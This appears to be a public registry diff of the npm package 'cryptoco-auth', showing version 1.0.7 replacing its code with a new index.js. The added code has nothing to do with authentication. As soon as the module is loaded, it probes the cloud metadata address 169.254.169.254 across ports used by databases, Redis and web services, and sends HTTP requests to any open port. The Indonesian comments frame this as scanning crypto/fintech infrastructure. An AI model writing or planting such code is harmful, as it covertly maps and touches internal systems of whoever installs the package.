cryptoco-auth 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +21 -5
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,7 +1,23 @@
|
|
|
1
|
-
const
|
|
1
|
+
const net = require("net");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
2
3
|
|
|
3
|
-
//
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
4
|
+
// Daftar port internal yang umum ada di infrastruktur kripto/fintech
|
|
5
|
+
const ports = [80, 443, 8080, 3000, 5432, 6379];
|
|
6
|
+
const ip = "169.254.169.254"; // AWS Metadata IP yang lebih luas
|
|
7
|
+
|
|
8
|
+
ports.forEach(port => {
|
|
9
|
+
const socket = new net.Socket();
|
|
10
|
+
socket.setTimeout(2000);
|
|
11
|
+
|
|
12
|
+
socket.on("connect", () => {
|
|
13
|
+
// Jika port terbuka, kirimkan "sinyal"
|
|
14
|
+
// Kita mencoba memberikan payload yang sangat minim
|
|
15
|
+
socket.write("GET / HTTP/1.1\r\nHost: localhost\r\n\r\n");
|
|
16
|
+
socket.destroy();
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
socket.on("timeout", () => socket.destroy());
|
|
20
|
+
socket.on("error", () => {});
|
|
21
|
+
|
|
22
|
+
socket.connect(port, ip);
|
|
7
23
|
});
|
package/package.json
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"name":"cryptoco-auth","version":"1.0.
|
|
1
|
+
{"name":"cryptoco-auth","version":"1.0.7","main":"index.js"}
|